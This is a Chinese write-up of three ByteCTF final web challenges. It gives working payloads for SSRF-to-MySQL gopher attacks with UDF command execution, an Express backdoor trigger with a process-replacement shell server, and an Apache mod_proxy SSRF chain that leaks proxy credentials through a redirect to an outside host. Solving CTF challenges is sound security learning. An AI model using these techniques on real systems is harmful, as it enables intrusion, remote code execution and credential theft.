seo

探测

在测试功能的时候发现了很多接口

ByteCTF决赛 - 图1

我们发现/api/ip.php接口存在ssrf

ByteCTF决赛 - 图2

但是这个接口file协议被ban了

ByteCTF决赛 - 图3

然后在下载词库那里发现可以任意文件下载

ByteCTF决赛 - 图4

于是/etc/hosts探测内网

ByteCTF决赛 - 图5

发现网段是172.73.23.21/24

于是为了发现主机我们访问/proc/net/arp

ByteCTF决赛 - 图6

发现了100这台主机。

内网常见可探测的端口:21、22、23、80、3306、6379、8080 ,发现 172.73.23.100 开放着 3306 端口:

ByteCTF决赛 - 图7

接下来重点是使用 SSRF 去攻击这个 MySQL 服务,配合本地的 tcpdump 抓取 MySQL 的流量:

gopher攻击mysql未授权

https://coomrade.github.io/2018/10/28/SSRF攻击MySQL/

通过上面base解码得到mysql版本。docker拉一个下来。并进入docker修改密码为空。

  1. use mysql;
  2. UPDATE user SET Password = PASSWORD('') WHERE user = 'root';
  3. FLUSH PRIVILEGES;
  1. docker run --name=mysql1 -it -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root -d mysql:5.6.51

ByteCTF决赛 - 图8

同时使用tcpdump抓包

  1. tcpdump -i lo port 3306 -w mysql.pcapng

ByteCTF决赛 - 图9

抓到的数据包保存原始数据

ByteCTF决赛 - 图10

写个原始数据转gopher的脚本

  1. import sys
  2. def results(s):
  3. a=[s[i:i+2] for i in range(0,len(s),2)]
  4. return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)
  5. if __name__=="__main__":
  6. s="""c300000185a2bf1900000001ff0000000000000000000000000000000000000000000000726f6f7400006d7973716c5f6e61746976655f70617373776f72640086045f706964053532343331095f706c6174666f726d067838365f3634035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c0b6f735f7375646f75736572067562756e7475076f735f7573657204726f6f740f5f636c69656e745f76657273696f6e06382e302e32370c70726f6772616d5f6e616d65056d7973716c
  7. 210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031
  8. 180000000373656c656374207379735f6576616c28276c73202f2729
  9. 0100000001
  10. """
  11. s=s.replace('\n','')
  12. print(s)
  13. print(results(s))

打到环境里可以执行

ByteCTF决赛 - 图11

然后使用UDF提权。

用这个写入https://www.sqlsec.com/tools/udf.html

  1. mysql -uroot -h 127.0.0.1 -e "SELECT 0000000000001000000030000000000000000.....00000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so"

写入后创建自定义函数

  1. mysql -uroot -h 127.0.0.1 -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"

创建好后执行

  1. mysql -uroot -h 127.0.0.1 -e "select sys_eval('ls /');"

ByteCTF决赛 - 图12

读取flag

ByteCTF决赛 - 图13

https://www.sqlsec.com/2020/11/mysql.html#toc-heading-1

或者直接gopherus构造

ByteCTF决赛 - 图14

Nothing

http://39.106.69.116:30001/source 可以获得源码

  1. const express = require('express')
  2. const fs = require('fs')
  3. const exec = require('child_process').exec;
  4. const src = fs.readFileSync("app.js")
  5. const app = express()
  6. app.get('/', (req, res) => {
  7. if (!('ByteCTF' in req.query)) {
  8. res.end("Here is a backdoor,can you shell it and get the flag?")
  9. return
  10. }
  11. if (req.query.ByteCTF.length > 3000) {
  12. const byteCTF = JSON.stringify(req.query.ByteCTF)
  13. if (byteCTF.length > 1024) {
  14. res.end("too long.")
  15. return
  16. }
  17. try {
  18. const q = "{" + req.query.ByteCTF + "}"
  19. res.end("Got it!")
  20. } catch {
  21. if (req.query.backdoor) {
  22. exec(req.query.backdoor)
  23. res.send("exec complete,but nothing here")
  24. } else {
  25. res.end("Nothing here!")
  26. }
  27. }
  28. } else {
  29. res.end("too short.")
  30. return
  31. }
  32. })
  33. app.get('/source', (req, res) => {
  34. res.end(src)
  35. });
  36. app.listen(3000, () => {
  37. console.log(`listening at port 3000`)
  38. })

ByteCTF决赛 - 图15

这里用了toString来报错

  1. http://39.106.69.116:30001/?ByteCTF[length]=10000000000&ByteCTF[toString]&backdoor={}

这里的环境无回显,不出网。这里可以kill掉父进程node。自己起一个服务占用3000端口拿到回显(或者:用kill掉node 导致 http请求失败,来cut盲注flag,但是不稳定 [ cut -b 1 /flagfilename == x ] && pkill node)

  1. const express = require('express')
  2. const fs = require('fs')
  3. const execSync = require('child_process').execSync;
  4. const app = express()
  5. app.get('/backdoor', (req, res) => { //防蹭车
  6. res.send("SUCCESS:"+execSync(req.query.flag).toString())
  7. res.end()
  8. })
  9. app.listen(3000, () => {
  10. console.log(`listening at port 3000`)
  11. })
  1. import requests
  2. import base64
  3. remote_url = "http://39.106.69.116:30001/?ByteCTF[length]=4000&ByteCTF[toString][]=&backdoor="
  4. def encode(sth):
  5. result = ""
  6. for i in sth:
  7. result += "%%%02x" % ord(i)
  8. return result
  9. //url编码
  10. def execute_command(cmd):
  11. url = remote_url + encode(cmd)
  12. r = requests.get(url,proxies={"http":"http://localhost:8080"})
  13. return r.status_code
  14. evil_js_b64 = None
  15. with open("evil.js","rb") as file:
  16. evil_js_b64 = file.read()
  17. evil_js_b64 = base64.b64encode(evil_js_b64).decode()
  18. # while 1:
  19. # execute_command(f"pkill node;node -e \"`echo {evil_js_b64} | base64 -d`\"")
  20. print(encode("pkill node"))

ByteCTF决赛 - 图16

proxy

httpd.conf文件中可以看到代理配置

  1. ServerName bytectf
  2. Listen 8123
  3. <VirtualHost "*:8123">
  4. ProxyRequests On
  5. <Proxy "*">
  6. AuthType Basic
  7. AuthName "Only For Internal Use, Password Required"
  8. AuthUserFile password.file
  9. AuthGroupFile group.file
  10. Require group usergroup
  11. Require host web
  12. </Proxy>
  13. </VirtualHost>
  14. Listen 80
  15. <VirtualHost "*:80">
  16. ProxyPass "/" "http://website/" disablereuse=On
  17. </VirtualHost>

8123为代理端口,80端口(也就是我们能访问的端口)的请求转发到website页面

ByteCTF决赛 - 图17

内网internal部分有个app.py

  1. from flask import Flask, request, render_template
  2. import requests, os
  3. PROXY_USER = os.getenv('CHALL_PROXY_USER')
  4. PROXY_PASS = os.getenv('CHALL_PROXY_PASS')
  5. PROXIES = {'http': f'http://{PROXY_USER}:{PROXY_PASS}@proxy:8123', 'https': f'http://{PROXY_USER}:{PROXY_PASS}@proxy:8123'}
  6. app = Flask(__name__)
  7. @app.route('/')
  8. def main():
  9. return render_template('index.html')
  10. @app.route('/fetch', methods=['POST'])
  11. def fetch():
  12. if not request.form['url']:
  13. return f'Please provide url'
  14. app.logger.info(request.form['url'])
  15. try:
  16. resp = requests.get(request.form['url'], timeout=5, proxies=PROXIES)
  17. except Exception as e:
  18. app.logger.error(f'Error: {e}')
  19. return 'Error'
  20. if resp.status_code == 200:
  21. return resp.text
  22. else:
  23. app.logger.warning(f'Error: status {resp.status_code}')
  24. return 'Error'
  25. if __name__ == '__main__':
  26. app.run()

可以通过fetch路由发出代理请求

这个题的flag放在了代理的密码里

ByteCTF决赛 - 图18

所以本题的大致解题思路梳理如下

通过SSRF访问到app.py的路由–>通过app.py发出一个向外的请求–>通过某种方式带出proxypass

解题

代理服务器为Apache 2.4.48

直接google开搜,可以找到apache mod_proxy SSRF,适用版本 <=2.4.48

ByteCTF决赛 - 图19

https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html

  1. /?unix:<4096个以上a>|http://internal/

然后是Python requests<=2.25.1 的漏洞,Proxy-Authorization 用一个302跳转就能带出来:

这里推荐一个网站https://httpbingo.org/

  1. POST /?unix:<4096个以上a>?|http://internal/fetch HTTP/1.1
  2. Host: web
  3. Content-Type: application/x-www-form-urlencoded
  4. url=https://httpbingo.org/redirect-to?url=https://httpbingo.org/headers

注:如果是跳转到http网站,则Proxy-Authentication会在代理端被drop掉。但如果是跳到https网站,走的是CONNECT协议,代理无法解析,所以这个头在走代理的同时仍然会被保留。 走http,可见确实没有了Proxy-Authentication。

这里发http包的时候要注意加content-type

  1. Content-Type: application/x-www-form-urlencoded

ByteCTF决赛 - 图20